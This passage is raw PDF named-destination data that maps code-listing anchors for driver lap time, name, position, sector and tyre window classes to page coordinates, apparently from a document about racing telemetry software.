1621 0 R /XYZ 60.307257 372.626622 0 ] (Code/DriverLapTimeWindow/:__span-0-26) [ 1621 0 R /XYZ 60.307257 359.226270 0 ] (Code/DriverLapTimeWindow/:__span-0-27) [ 1621 0 R /XYZ 60.307257 345.825918 0 ] (Code/DriverLapTimeWindow/:__span-0-28) [ 1621 0 R /XYZ 60.307257 332.425566 0 ] (Code/DriverLapTimeWindow/:__span-0-29) [ 1621 0 R /XYZ 60.307257 305.624862 0 ] (Code/DriverLapTimeWindow/:__span-0-3) [ 1621 0 R /XYZ 60.307257 680.834718 0 ] (Code/DriverLapTimeWindow/:__span-0-30) [ 1621 0 R /XYZ 60.307257 292.224510 0 ] (Code/DriverLapTimeWindow/:__span-0-31) [ 1621 0 R /XYZ 60.307257 278.824158 0 ] (Code/DriverLapTimeWindow/:__span-0-32) [ 1621 0 R /XYZ 60.307257 265.423806 0 ] (Code/DriverLapTimeWindow/:__span-0-4) [ 1621 0 R /XYZ 60.307257 667.434366 0 ] (Code/DriverLapTimeWindow/:__span-0-5) [ 1621 0 R /XYZ 60.307257 654.034014 0 ] (Code/DriverLapTimeWindow/:__span-0-6) [ 1621 0 R /XYZ 60.307257 640.633662 0 ] (Code/DriverLapTimeWindow/:__span-0-7) [ 1621 0 R /XYZ 60.307257 627.233310 0 ] (Code/DriverLapTimeWindow/:__span-0-8) [ 1621 0 R /XYZ 60.307257 613.832958 0 ] (Code/DriverLapTimeWindow/:__span-0-9) [ 1621 0 R /XYZ 60.307257 600.432606 0 ] (Code/DriverLapTimeWindow/:driverlaptimewindowcs) [ 1621 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverNameWindow/:) [ 1509 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverNameWindow/:__span-0-1) [ 1509 0 R /XYZ 60.307257 707.635422 0 ] (Code/DriverNameWindow/:__span-0-10) [ 1509 0 R /XYZ 60.307257 587.032254 0 ] (Code/DriverNameWindow/:__span-0-11) [ 1509 0 R /XYZ 60.307257 573.631902 0 ] (Code/DriverNameWindow/:__span-0-12) [ 1509 0 R /XYZ 60.307257 560.231550 0 ] (Code/DriverNameWindow/:__span-0-13) [ 1509 0 R /XYZ 60.307257 546.831198 0 ] (Code/DriverNameWindow/:__span-0-14) [ 1509 0 R /XYZ 60.307257 533.430846 0 ] (Code/DriverNameWindow/:__span-0-15) [ 1509 0 R /XYZ 60.307257 520.030494 0 ] (Code/DriverNameWindow/:__span-0-16) [ 1509 0 R /XYZ 60.307257 506.630142 0 ] (Code/DriverNameWindow/:__span-0-17) [ 1509 0 R /XYZ 60.307257 493.229790 0 ] (Code/DriverNameWindow/:__span-0-18) [ 1509 0 R /XYZ 60.307257 479.829438 0 ] (Code/DriverNameWindow/:__span-0-19) [ 1509 0 R /XYZ 60.307257 453.028734 0 ] (Code/DriverNameWindow/:__span-0-2) [ 1509 0 R /XYZ 60.307257 694.235070 0 ] (Code/DriverNameWindow/:__span-0-20) [ 1509 0 R /XYZ 60.307257 439.628382 0 ] (Code/DriverNameWindow/:__span-0-21) [ 1509 0 R /XYZ 60.307257 426.228030 0 ] (Code/DriverNameWindow/:__span-0-22) [ 1509 0 R /XYZ 60.307257 412.827678 0 ] (Code/DriverNameWindow/:__span-0-23) [ 1509 0 R /XYZ 60.307257 399.427326 0 ] (Code/DriverNameWindow/:__span-0-24) [ 1509 0 R /XYZ 60.307257 386.026974 0 ] (Code/DriverNameWindow/:__span-0-25) [ 1509 0 R /XYZ 60.307257 372.626622 0 ] (Code/DriverNameWindow/:__span-0-26) [ 1509 0 R /XYZ 60.307257 345.825918 0 ] (Code/DriverNameWindow/:__span-0-27) [ 1509 0 R /XYZ 60.307257 319.025214 0 ] (Code/DriverNameWindow/:__span-0-28) [ 1509 0 R /XYZ 60.307257 305.624862 0 ] (Code/DriverNameWindow/:__span-0-29) [ 1509 0 R /XYZ 60.307257 292.224510 0 ] (Code/DriverNameWindow/:__span-0-3) [ 1509 0 R /XYZ 60.307257 680.834718 0 ] (Code/DriverNameWindow/:__span-0-30) [ 1509 0 R /XYZ 60.307257 278.824158 0 ] (Code/DriverNameWindow/:__span-0-31) [ 1509 0 R /XYZ 60.307257 265.423806 0 ] (Code/DriverNameWindow/:__span-0-32) [ 1509 0 R /XYZ 60.307257 252.023454 0 ] (Code/DriverNameWindow/:__span-0-33) [ 1509 0 R /XYZ 60.307257 238.623102 0 ] (Code/DriverNameWindow/:__span-0-34) [ 1509 0 R /XYZ 60.307257 225.222750 0 ] (Code/DriverNameWindow/:__span-0-35) [ 1509 0 R /XYZ 60.307257 198.422046 0 ] (Code/DriverNameWindow/:__span-0-36) [ 1509 0 R /XYZ 60.307257 171.621342 0 ] (Code/DriverNameWindow/:__span-0-37) [ 1509 0 R /XYZ 60.307257 158.220990 0 ] (Code/DriverNameWindow/:__span-0-38) [ 1509 0 R /XYZ 60.307257 144.820638 0 ] (Code/DriverNameWindow/:__span-0-39) [ 1509 0 R /XYZ 60.307257 131.420286 0 ] (Code/DriverNameWindow/:__span-0-4) [ 1509 0 R /XYZ 60.307257 667.434366 0 ] (Code/DriverNameWindow/:__span-0-40) [ 1509 0 R /XYZ 60.307257 118.019934 0 ] (Code/DriverNameWindow/:__span-0-41) [ 1509 0 R /XYZ 60.307257 104.619582 0 ] (Code/DriverNameWindow/:__span-0-42) [ 1509 0 R /XYZ 60.307257 91.219230 0 ] (Code/DriverNameWindow/:__span-0-43) [ 1511 0 R /XYZ 60.307257 757.623270 0 ] (Code/DriverNameWindow/:__span-0-44) [ 1511 0 R /XYZ 60.307257 730.822566 0 ] (Code/DriverNameWindow/:__span-0-45) [ 1511 0 R /XYZ 60.307257 717.422214 0 ] (Code/DriverNameWindow/:__span-0-46) [ 1511 0 R /XYZ 60.307257 690.621510 0 ] (Code/DriverNameWindow/:__span-0-47) [ 1511 0 R /XYZ 60.307257 677.221158 0 ] (Code/DriverNameWindow/:__span-0-48) [ 1511 0 R /XYZ 60.307257 663.820806 0 ] (Code/DriverNameWindow/:__span-0-49) [ 1511 0 R /XYZ 60.307257 650.420454 0 ] (Code/DriverNameWindow/:__span-0-5) [ 1509 0 R /XYZ 60.307257 654.034014 0 ] (Code/DriverNameWindow/:__span-0-50) [ 1511 0 R /XYZ 60.307257 637.020102 0 ] (Code/DriverNameWindow/:__span-0-51) [ 1511 0 R /XYZ 60.307257 623.619750 0 ] (Code/DriverNameWindow/:__span-0-52) [ 1511 0 R /XYZ 60.307257 610.219398 0 ] (Code/DriverNameWindow/:__span-0-53) [ 1511 0 R /XYZ 60.307257 596.819046 0 ] (Code/DriverNameWindow/:__span-0-54) [ 1511 0 R /XYZ 60.307257 583.418694 0 ] (Code/DriverNameWindow/:__span-0-55) [ 1511 0 R /XYZ 60.307257 570.018342 0 ] (Code/DriverNameWindow/:__span-0-56) [ 1511 0 R /XYZ 60.307257 556.617990 0 ] (Code/DriverNameWindow/:__span-0-57) [ 1511 0 R /XYZ 60.307257 543.217638 0 ] (Code/DriverNameWindow/:__span-0-6) [ 1509 0 R /XYZ 60.307257 640.633662 0 ] (Code/DriverNameWindow/:__span-0-7) [ 1509 0 R /XYZ 60.307257 627.233310 0 ] (Code/DriverNameWindow/:__span-0-8) [ 1509 0 R /XYZ 60.307257 613.832958 0 ] (Code/DriverNameWindow/:__span-0-9) [ 1509 0 R /XYZ 60.307257 600.432606 0 ] (Code/DriverNameWindow/:drivernamewindowcs) [ 1509 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverPositionWindow/:) [ 1623 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverPositionWindow/:__span-0-1) [ 1623 0 R /XYZ 60.307257 707.635422 0 ] (Code/DriverPositionWindow/:__span-0-10) [ 1623 0 R /XYZ 60.307257 587.032254 0 ] (Code/DriverPositionWindow/:__span-0-11) [ 1623 0 R /XYZ 60.307257 573.631902 0 ] (Code/DriverPositionWindow/:__span-0-12) [ 1623 0 R /XYZ 60.307257 560.231550 0 ] (Code/DriverPositionWindow/:__span-0-13) [ 1623 0 R /XYZ 60.307257 546.831198 0 ] (Code/DriverPositionWindow/:__span-0-14) [ 1623 0 R /XYZ 60.307257 533.430846 0 ] (Code/DriverPositionWindow/:__span-0-15) [ 1623 0 R /XYZ 60.307257 520.030494 0 ] (Code/DriverPositionWindow/:__span-0-16) [ 1623 0 R /XYZ 60.307257 506.630142 0 ] (Code/DriverPositionWindow/:__span-0-17) [ 1623 0 R /XYZ 60.307257 493.229790 0 ] (Code/DriverPositionWindow/:__span-0-18) [ 1623 0 R /XYZ 60.307257 479.829438 0 ] (Code/DriverPositionWindow/:__span-0-19) [ 1623 0 R /XYZ 60.307257 453.028734 0 ] (Code/DriverPositionWindow/:__span-0-2) [ 1623 0 R /XYZ 60.307257 694.235070 0 ] (Code/DriverPositionWindow/:__span-0-20) [ 1623 0 R /XYZ 60.307257 439.628382 0 ] (Code/DriverPositionWindow/:__span-0-21) [ 1623 0 R /XYZ 60.307257 426.228030 0 ] (Code/DriverPositionWindow/:__span-0-22) [ 1623 0 R /XYZ 60.307257 412.827678 0 ] (Code/DriverPositionWindow/:__span-0-23) [ 1623 0 R /XYZ 60.307257 399.427326 0 ] (Code/DriverPositionWindow/:__span-0-24) [ 1623 0 R /XYZ 60.307257 386.026974 0 ] (Code/DriverPositionWindow/:__span-0-25) [ 1623 0 R /XYZ 60.307257 372.626622 0 ] (Code/DriverPositionWindow/:__span-0-26) [ 1623 0 R /XYZ 60.307257 345.825918 0 ] (Code/DriverPositionWindow/:__span-0-27) [ 1623 0 R /XYZ 60.307257 332.425566 0 ] (Code/DriverPositionWindow/:__span-0-28) [ 1623 0 R /XYZ 60.307257 319.025214 0 ] (Code/DriverPositionWindow/:__span-0-29) [ 1623 0 R /XYZ 60.307257 305.624862 0 ] (Code/DriverPositionWindow/:__span-0-3) [ 1623 0 R /XYZ 60.307257 680.834718 0 ] (Code/DriverPositionWindow/:__span-0-30) [ 1623 0 R /XYZ 60.307257 292.224510 0 ] (Code/DriverPositionWindow/:__span-0-31) [ 1623 0 R /XYZ 60.307257 278.824158 0 ] (Code/DriverPositionWindow/:__span-0-32) [ 1623 0 R /XYZ 60.307257 265.423806 0 ] (Code/DriverPositionWindow/:__span-0-33) [ 1623 0 R /XYZ 60.307257 252.023454 0 ] (Code/DriverPositionWindow/:__span-0-34) [ 1623 0 R /XYZ 60.307257 238.623102 0 ] (Code/DriverPositionWindow/:__span-0-35) [ 1623 0 R /XYZ 60.307257 225.222750 0 ] (Code/DriverPositionWindow/:__span-0-36) [ 1623 0 R /XYZ 60.307257 211.822398 0 ] (Code/DriverPositionWindow/:__span-0-37) [ 1623 0 R /XYZ 60.307257 198.422046 0 ] (Code/DriverPositionWindow/:__span-0-38) [ 1623 0 R /XYZ 60.307257 185.021694 0 ] (Code/DriverPositionWindow/:__span-0-39) [ 1623 0 R /XYZ 60.307257 171.621342 0 ] (Code/DriverPositionWindow/:__span-0-4) [ 1623 0 R /XYZ 60.307257 667.434366 0 ] (Code/DriverPositionWindow/:__span-0-40) [ 1623 0 R /XYZ 60.307257 158.220990 0 ] (Code/DriverPositionWindow/:__span-0-41) [ 1623 0 R /XYZ 60.307257 144.820638 0 ] (Code/DriverPositionWindow/:__span-0-42) [ 1623 0 R /XYZ 60.307257 131.420286 0 ] (Code/DriverPositionWindow/:__span-0-5) [ 1623 0 R /XYZ 60.307257 654.034014 0 ] (Code/DriverPositionWindow/:__span-0-6) [ 1623 0 R /XYZ 60.307257 640.633662 0 ] (Code/DriverPositionWindow/:__span-0-7) [ 1623 0 R /XYZ 60.307257 627.233310 0 ] (Code/DriverPositionWindow/:__span-0-8) [ 1623 0 R /XYZ 60.307257 613.832958 0 ] (Code/DriverPositionWindow/:__span-0-9) [ 1623 0 R /XYZ 60.307257 600.432606 0 ] (Code/DriverPositionWindow/:driverpositionwindowcs) [ 1623 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverSectorWindow/:) [ 1513 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverSectorWindow/:__span-0-1) [ 1513 0 R /XYZ 60.307257 707.635422 0 ] (Code/DriverSectorWindow/:__span-0-10) [ 1513 0 R /XYZ 60.307257 573.631902 0 ] (Code/DriverSectorWindow/:__span-0-11) [ 1513 0 R /XYZ 60.307257 560.231550 0 ] (Code/DriverSectorWindow/:__span-0-12) [ 1513 0 R /XYZ 60.307257 546.831198 0 ] (Code/DriverSectorWindow/:__span-0-13) [ 1513 0 R /XYZ 60.307257 533.430846 0 ] (Code/DriverSectorWindow/:__span-0-14) [ 1513 0 R /XYZ 60.307257 520.030494 0 ] (Code/DriverSectorWindow/:__span-0-15) [ 1513 0 R /XYZ 60.307257 506.630142 0 ] (Code/DriverSectorWindow/:__span-0-16) [ 1513 0 R /XYZ 60.307257 493.229790 0 ] (Code/DriverSectorWindow/:__span-0-17) [ 1513 0 R /XYZ 60.307257 479.829438 0 ] (Code/DriverSectorWindow/:__span-0-18) [ 1513 0 R /XYZ 60.307257 466.429086 0 ] (Code/DriverSectorWindow/:__span-0-19) [ 1513 0 R /XYZ 60.307257 439.628382 0 ] (Code/DriverSectorWindow/:__span-0-2) [ 1513 0 R /XYZ 60.307257 694.235070 0 ] (Code/DriverSectorWindow/:__span-0-20) [ 1513 0 R /XYZ 60.307257 426.228030 0 ] (Code/DriverSectorWindow/:__span-0-21) [ 1513 0 R /XYZ 60.307257 412.827678 0 ] (Code/DriverSectorWindow/:__span-0-22) [ 1513 0 R /XYZ 60.307257 399.427326 0 ] (Code/DriverSectorWindow/:__span-0-23) [ 1513 0 R /XYZ 60.307257 386.026974 0 ] (Code/DriverSectorWindow/:__span-0-24) [ 1513 0 R /XYZ 60.307257 372.626622 0 ] (Code/DriverSectorWindow/:__span-0-25) [ 1513 0 R /XYZ 60.307257 359.226270 0 ] (Code/DriverSectorWindow/:__span-0-26) [ 1513 0 R /XYZ 60.307257 345.825918 0 ] (Code/DriverSectorWindow/:__span-0-27) [ 1513 0 R /XYZ 60.307257 332.425566 0 ] (Code/DriverSectorWindow/:__span-0-28) [ 1513 0 R /XYZ 60.307257 319.025214 0 ] (Code/DriverSectorWindow/:__span-0-29) [ 1513 0 R /XYZ 60.307257 292.224510 0 ] (Code/DriverSectorWindow/:__span-0-3) [ 1513 0 R /XYZ 60.307257 680.834718 0 ] (Code/DriverSectorWindow/:__span-0-30) [ 1513 0 R /XYZ 60.307257 278.824158 0 ] (Code/DriverSectorWindow/:__span-0-31) [ 1513 0 R /XYZ 60.307257 265.423806 0 ] (Code/DriverSectorWindow/:__span-0-32) [ 1513 0 R /XYZ 60.307257 252.023454 0 ] (Code/DriverSectorWindow/:__span-0-4) [ 1513 0 R /XYZ 60.307257 667.434366 0 ] (Code/DriverSectorWindow/:__span-0-5) [ 1513 0 R /XYZ 60.307257 640.633662 0 ] (Code/DriverSectorWindow/:__span-0-6) [ 1513 0 R /XYZ 60.307257 627.233310 0 ] (Code/DriverSectorWindow/:__span-0-7) [ 1513 0 R /XYZ 60.307257 613.832958 0 ] (Code/DriverSectorWindow/:__span-0-8) [ 1513 0 R /XYZ 60.307257 600.432606 0 ] (Code/DriverSectorWindow/:__span-0-9) [ 1513 0 R /XYZ 60.307257 587.032254 0 ] (Code/DriverSectorWindow/:driversectorwindowcs) [ 1513 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverTyresWindow/:) [ 1625 0 R /XYZ 39.386457 747.563622 0 ] (Code/DriverTyresWindow/:__span-0-1) [ 1625 0 R /XYZ 60.307257 707.635422 0 ] (Code/DriverTyresWindow/:__span-0-10) [ 1625 0 R /XYZ 60.307257 587.032254 0 ] (Code/DriverTyresWindow/:__span-0-100) [ 1629 0 R /XYZ 60.307257 570.018342 0 ] (Code/DriverTyresWindow/:__span-0-101) [ 1629 0 R /XYZ 60.307257 543.217638 0 ] (Code/DriverTyresWindow/:__span-0-102) [ 1629 0 R /XYZ 60.307257 529.817286 0 ] (Code/DriverTyresWindow/:__span-0-103) [ 1629 0 R /XYZ 60.307257 516.416934 0 ] (Code/DriverTyresWindow/:__span-0-104) [ 1629 0 R /XYZ 60.307257 503.016582 0 ] (Code/DriverTyresWindow/:__span-0-105) [ 1629 0 R /XYZ 60.307257 489.616230 0 ] (Code/DriverTyresWindow/:__span-0-106) [ 1629 0 R /XYZ 60.307257 476.215878 0 ] (Code/DriverTyresWindow/:__span-0-107) [ 1629 0 R /XYZ 60.307257 462.815526 0 ] (Code/DriverTyresWindow/:__span-0-108) [ 1629 0 R /XYZ 60.307257 449.415174 0 ] (Code/DriverTyresWindow/:__span-0-109) [ 1629 0 R /XYZ 60.307257 422.614470 0 ] (Code/DriverTyresWindow/:__span-0-11) [ 1625 0 R /XYZ 60.307257 573.631902 0 ] (Code/DriverTyresWindow/:__span-0-110) [ 1629 0 R /XYZ 60.307257 395.813766 0 ] (Code/DriverTyresWindow/:__span-0-111) [ 1629 0 R /XYZ 60.307257 382.413414 0 ] (Code/DriverTyresWindow/:__span-0-112) [ 1629 0 R /XYZ 60.307257 369.013062 0 ] (Code/DriverTyresWindow/:__span-0-113) [ 1629 0 R /XYZ 60.307257 355.612710 0 ] (Code/DriverTyresWindow/:__span-0-114) [ 1629 0 R /XYZ 60.307257 342.212358 0 ] (Code/DriverTyresWindow/:__span-0-115) [ 1629 0 R /XYZ 60.307257 328.812006 0 ] (Code/DriverTyresWindow/:__span-0-116) [ 1629 0 R /XYZ 60.307257 315.411654 0 ] (Code/DriverTyresWindow/:__span-0-117) [ 1629 0 R /XYZ 60.307257 302.011302 0 ] (Code/DriverTyresWindow/:__span-0-118) [ 1629 0 R /XYZ 60.307257 288.610950 0 ] (Code/DriverTyresWindow/:__span-0-119) [ 1629 0 R /XYZ 60.307257 275.210598 0 ] (Code/DriverTyresWindow/:__span-0-12) [ 1625 0 R /XYZ 60.307257 560.231550 0 ] (Code/DriverTyresWindow/:__span-0-120) [ 1629 0 R /XYZ 60.307257 261.810246 0 ] (Code/DriverTyresWindow/:__span-0-121) [ 1629 0 R /XYZ 60.307257 248.409894 0 ] (Code/DriverTyresWindow/:__span-0-122) [ 1629 0 R /XYZ 60.307257 221.609190 0 ] (Code/DriverTyresWindow/:__span-0-123) [ 1629 0 R /XYZ 60.307257 208.208838 0 ] (Code/DriverTyresWindow/:__span-0-124) [ 1629 0 R /XYZ 60.307257 194.808486 0 ] (Code/DriverTyresWindow/:__span-0-125) [ 1629 0 R /XYZ 60.307257 181.408134 0 ] (Code/DriverTyresWindow/:__span-0-126) [ 1629 0 R /XYZ 60.307257 168.007782 0 ] (Code/DriverTyresWindow/:__span-0-127) [ 1629 0 R /XYZ 60.307257 154.607430 0 ] (Code/DriverTyresWindow/:__span-0-128) [ 1629 0 R /XYZ 60.307257 141.207078 0 ] (Code/DriverTyresWindow/:__span-0-129) [ 1629 0 R /XYZ 60.307257 127.806726 0 ] (Code/DriverTyresWindow/:__span-0-13) [ 1625 0 R /XYZ 60.307257 546.831198 0 ] (Code/DriverTyresWindow/:__span-0-130) [ 1629 0 R /XYZ 60.307257 114.406374 0 ] (Code/DriverTyresWindow/:__span-0-131) [ 1629 0 R /XYZ 60.307257 101.006022 0 ] (Code/DriverTyresWindow/:__span-0-132) [ 1629 0 R /XYZ 60.307257 87.605670 0 ] (Code/DriverTyresWindow/:__span-0-133) [ 1631 0 R /XYZ 60.307257 771.023622 0 ] (Code/DriverTyresWindow/:__span-0-134) [ 1631 0 R /XYZ 60.307257 757.623270 0 ] (Code/DriverTyresWindow/:__span-0-135) [ 1631 0 R /XYZ 60.307257 744.222918 0 ] (Code/DriverTyresWindow/:__span-0-136) [ 1631 0 R /XYZ 60.307257 730.822566 0 ] (Code/DriverTyresWindow/:__span-0-137) [ 1631 0 R /XYZ 60.307257 717.422214 0 ] (Code/DriverTyresWindow/:__span-0-138) [ 1631 0 R /XYZ 60.307257 704.021862 0 ] (Code/DriverTyresWindow/:__span-0-139) [ 1631 0 R /XYZ 60.307257 690.621510 0 ] (Code/DriverTyresWindow/:__span-0-14) [ 1625 0 R /XYZ 60.307257 533.430846 0 ] (Code/DriverTyresWindow/:__span-0-140) [ 1631 0 R /XYZ 60.307257 677.221158 0 ] (Code/DriverTyresWindow/:__span-0-141) [ 1631 0 R /XYZ 60.307257 663.820806 0 ] (Code/DriverTyresWindow/:__span-0-142) [ 1631 0 R /XYZ 60.307257 650.420454 0 ] (Code/DriverTyresWindow/:__span-0-143) [ 1631 0 R /XYZ 60.307257 637.020102 0 ] (Code/DriverTyresWindow/:__span-0-144) [ 1631 0 R /XYZ 60.307257 623.619750 0 ] (Code/DriverTyresWindow/:__span-0-145) [ 1631 0 R /XYZ 60.307257 610.219398 0 ] (Code/DriverTyresWindow/:__span-0-146) [ 1631 0 R /XYZ 60.307257 596.819046 0 ] (Code/DriverTyresWindow/:__span-0-15) [ 1625 0 R /XYZ 60.307257 520.030494 0 ] (Code/DriverTyresWindow/:__span-0-16) [ 1625 0 R /XYZ 60.307257 506.630142 0 ] (Code/DriverTyresWindow/:__span-0-17) [ 1625 0 R /XYZ 60.307257 493.229790 0 ] (Code/DriverTyresWindow/:__span-0-18) [ 1625 0 R /XYZ 60.307257 479.829438 0 ] (Code/DriverTyresWindow/:__span-0-19) [ 1625 0 R /XYZ 60.307257 466.429086 0 ] (Code/DriverTyresWindow/:__span-0-2) [ 1625 0 R /XYZ 60.307257 694.235070 0 ] (Code/DriverTyresWindow/:__span-0-20) [ 1625 0 R /XYZ 60.307257 439.628382 0 ] (Code/DriverTyresWindow/:__span-0-21) [ 1625 0 R /XYZ 60.307257 426.228030 0 ] (Code/DriverTyresWindow/:__span-0-22) [ 1625 0 R /XYZ 60.307257 412.827678 0 ] (Code/DriverTyresWindow/:__span-0-23) [ 1625 0 R /XYZ 60.307257 399.427326 0 ] (Code/DriverTyresWindow/:__span-0-24) [ 1625 0 R /XYZ 60.307257 386.026974 0 ] (Code/DriverTyresWindow/:__span-0-25) [ 1625 0 R /XYZ 60.307257 372.626622 0 ] (Code/DriverTyresWindow/:__span-0-26) [ 1625 0 R /XYZ 60.307257 359.226270 0 ] (Code/DriverTyresWindow/:__span-0-27) [ 1625 0 R /XYZ 60.307257 345.825918 0 ] (Code/DriverTyresWindow/:__span-0-28) [ 1625 0 R /XYZ 60.307257 319.025214 0 ] (Code/DriverTyresWindow/:__span-0-29) [ 1625 0 R /XYZ 60.307257 305.624862 0 ] (Code/DriverTyresWindow/:__span-0-3) [ 1625 0 R /XYZ 60.307257 680.834718 0 ] (Code/DriverTyresWindow/:__span-0-30) [ 1625 0 R /XYZ 60.307257 292.224510 0 ] (Code/DriverTyresWindow/:__span-0-31) [ 1625 0 R /XYZ 60.307257 278.824158 0 ] (Code/DriverTyresWindow/:__span-0-32) [ 1625 0 R /XYZ 60.307257 265.423806 0 ] (Code/DriverTyresWindow/:__span-0-33) [ 1625 0 R /XYZ 60.307257 252.023454 0 ] (Code/DriverTyresWindow/:__span-0-34) [ 1625 0 R /XYZ 60.307257 238.623102 0 ] (Code/DriverTyresWindow/:__span-0-35) [ 1625 0 R /XYZ 60.307257 225.222750 0 ] (Code/DriverTyresWindow/:__span-0-36) [ 1625 0 R /XYZ 60.307257 211.822398 0 ] (Code/DriverTyresWindow/:__span-0-37) [ 1625 0 R /XYZ 60.307257 198.422046 0 ] (Code/DriverTyresWindow/:__span-0-38) [ 1625 0 R /XYZ 60.307257 185.021694 0 ] (Code/DriverTyresWindow/:__span-0-39) [ 1625 0 R /XYZ 60.307257 171.621342 0 ] (Code/DriverTyresWindow/:__span-0-4) [ 1625 0 R /XYZ 60.307257 667.434366 0 ] (Code/DriverTyresWindow/:__span-0-40) [ 1625 0 R /XYZ 60.307257 158.220990 0 ] (Code/DriverTyresWindow/:__span-0-41) [ 1625 0 R /XYZ 60.307257 131.420286 0 ] (Code/DriverTyresWindow/:__span-0-42) [ 1625 0 R /XYZ 60.307257 118.019934 0 ] (Code/DriverTyresWindow/:__span-0-43) [ 1625 0 R /XYZ 60.307257 104.619582 0 ] (Code/DriverTyresWindow/:__span-0-44) [ 1625 0 R /XYZ 60.307257 91.219230 0 ] (Code/DriverTyresWindow/:__span-0-45) [ 1627 0 R /XYZ 60.307257 771.023622 0 ] (Code/DriverTyresWindow/:__span-0-46) [ 1627 0 R /XYZ 60.307257 757.623270 0 ] (Code/DriverTyresWindow/:__span-0-47) [ 1627 0 R /XYZ 60.307257 744.222918 0 ] (Code/DriverTyresWindow/:__span-0-48) [ 1627 0 R /XYZ 60.307257 730.822566 0 ] (Code/DriverTyresWindow/:__span-0-49) [ 1627 0 R /XYZ 60.307257 717.422214 0 ] (Code/DriverTyresWindow/:__span-0-5) [ 1625 0 R /XYZ 60.307257 654.034014 0 ] (Code/DriverTyresWindow/:__span-0-50) [ 1627 0 R /XYZ 60.307257 704.021862 0 ] (Code/DriverTyresWindow/:__span-0-51) [ 1627 0 R /XYZ 60.307257 690.621510 0 ] (Code/DriverTyresWindow/:__span-0-52) [ 1627 0 R /XYZ 60.307257 677.221158 0 ] (Code/DriverTyresWindow/:__span-0-53) [ 1627 0 R /XYZ 60.307257 663.820806 0 ] (Code/DriverTyresWindow/:__span-0-54) [ 1627 0 R /XYZ 60.307257 637.020102 0 ] (Code/DriverTyresWindow/:__span-0-55) [ 1627 0 R /XYZ 60.307257 623.619750 0 ] (Code/DriverTyresWindow/:__span-0-56) [ 1627 0 R /XYZ 60.307257 610.219398 0 ] (Code/DriverTyresWindow/:__span-0-57) [ 1627 0 R /XYZ 60.307257 596.819046 0 ] (Code/DriverTyresWindow/:__span-0-58) [ 1627 0 R /XYZ 60.307257 583.418694 0 ] (Code/DriverTyresWindow/:__span-0-59) [ 1627 0 R /XYZ 60.307257 570.018342 0 ] (Code/DriverTyresWindow/:__span-0-6) [ 1625 0 R /XYZ 60.307257 640.633662 0 ] (Code/DriverTyresWindow/:__span-0-60) [ 1627 0 R /XYZ 60.307257 556.617990 0 ] (Code/DriverTyresWindow/:__span-0-61) [ 1627 0 R /XYZ 60.307257 543.217638 0 ] (Code/DriverTyresWindow/:__span-0-62) [ 1627 0 R /XYZ 60.307257 529.817286 0 ] (Code/DriverTyresWindow/:__span-0-63) [ 1627 0 R /XYZ 60.307257 516.416934 0 ] (Code/DriverTyresWindow/:__span-0-64) [ 1627 0 R /XYZ 60.307257 503.016582 0 ] (Code/DriverTyresWindow/:__span-0-65) [ 1627 0 R /XYZ 60.307257 462.815526 0 ] (Code/DriverTyresWindow/:__span-0-66) [ 1627 0 R /XYZ 60.307257 449.415174 0 ] (Code/DriverTyresWindow/:__span-0-67) [ 1627 0 R /XYZ 60.307257 436.014822 0 ] (Code/DriverTyresWindow/:__span-0-68) [ 1627 0 R /XYZ 60.307257 422.614470 0 ] (Code/DriverTyresWindow/:__span-0-69) [ 1627 0 R /XYZ 60.307257 409.214118 0 ] (Code/DriverTyresWindow/:__span-0-7) [ 1625 0 R /XYZ 60.307257 627.233310 0 ] (Code/DriverTyresWindow/:__span-0-70) [ 1627 0 R /XYZ 60.307257 395.813766 0 ] (Code/DriverTyresWindow/:__span-0-71) [ 1627 0 R /XYZ 60.307257 382.413414 0 ] (Code/DriverTyresWindow/:__span-0-72) [ 1627 0 R /XYZ 60.307257 369.013062 0 ] (Code/DriverTyresWindow/:__span-0-73) [ 1627 0 R /XYZ 60.307257 355.612710 0 ] (Code/DriverTyresWindow/:__span-0-74) [ 1627 0 R /XYZ 60.307257 328.812006 0 ] (Code/DriverTyresWindow/:__span-0-75) [ 1627 0 R /XYZ 60.307257 315.411654 0 ] (Code/DriverTyresWindow/:__span-0-76) [ 1627 0 R /XYZ 60.307257 302.011302 0 ] (Code/DriverTyresWindow/:__span-0-77) [ 1627 0 R /XYZ 60.307257 288.610950 0 ] (Code/DriverTyresWindow/:__span-0-78) [ 1627 0 R /XYZ 60.307257 275.210598 0 ] (Code/DriverTyresWindow/:__span-0-79) [ 1627 0 R /XYZ 60.307257 261.810246 0 ] (Code/DriverTyresWindow/:__span-0-8) [ 1625 0 R /XYZ 60.307257 613.832958 0 ] (Code/DriverTyresWindow/:__span-0-80) [ 1627 0 R /XYZ 60.307257 248.409894 0 ] (Code/DriverTyresWindow/:__span-0-81) [ 1627 0 R /XYZ 60.307257 235.009542 0 ] (Code/DriverTyresWindow/:__span-0-82) [ 1627 0 R /XYZ 60.307257 208.208838 0 ] (Code/DriverTyresWindow/:__span-0-83) [ 1627 0 R /XYZ 60.307257 168.007782 0 ] (Code/DriverTyresWindow/:__span-0-84) [ 1627 0 R /XYZ 60.307257 154.607430 0 ] (Code/DriverTyresWindow/:__span-0-85) [ 1627 0 R /XYZ 60.307257 127.806726 0 ] (Code/DriverTyresWindow/:__span-0-86) [ 1627 0 R /XYZ 60.307257 114.406374 0 ] (Code/DriverTyresWindow/:__span-0-87) [ 1627 0 R /XYZ 60.307257 101.006022 0 ] (Code/DriverTyresWindow/:__span-0-88) [ 1627 0 R /XYZ 60.307257 87.605670 0 ] (Code/DriverTyresWindow/:__span-0-89) [ 1629 0 R /XYZ 60.307257 771.023622 0 ] (Code/DriverTyresWindow/:__span-0-9) [ 1625 0 R /XYZ 60.307257 600.432606 0 ] (Code/DriverTyresWindow/:__span-0-90) [ 1629 0 R /XYZ 60.307257 757.623270 0 ] (Code/DriverTyresWindow/:__span-0-91) [ 1629 0 R /XYZ 60.307257 744.222918 0 ] (Code/DriverTyresWindow/:__span-0-92) [ 1629 0 R /XYZ 60.307257 717.422214 0 ] (Code/DriverTyresWindow/:__span-0-93) [ 1629 0 R /XYZ 60.307257 690.621510 0 ] (Code/DriverTyresWindow/:__span-0-94) [ 1629 0 R /XYZ 60.307257 677.221158 0 ] 